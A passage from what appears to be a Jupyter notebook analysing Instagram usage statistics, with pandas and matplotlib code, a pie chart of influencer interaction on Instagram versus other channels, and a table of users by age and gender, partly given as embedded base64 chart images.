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\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG8.csv\", header=0, sep=\",\")\n", + "print(\"Users interacting with influencers on Instagram, vs other social channels(in %):\")\n", + "print(\"_________________________________________________________________________________________________________________________\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "\n", + "plt.pie(y, labels=x)\n", + "plt.xlabel(\"Instagram v/s Other Channels\")\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram users by age and gender :\n", + " Age All users(%) Female Male\n", + "1 13-17 7.1 3.6 3.5\n", + "2 18-24 29.6 13.9 15.7\n", + "3 25-34 33.1 16.5 16.6\n", + "4 35-44 15.9 8.6 7.3\n", + "5 45-54 8.3 4.8 3.5\n", + "6 55-64 3.8 2.3 1.0\n", + "7 65+ 2.3 1.3 1.0\n", + "\n", + "Graph :\n", + "\n" + ] + }, + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 14, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": "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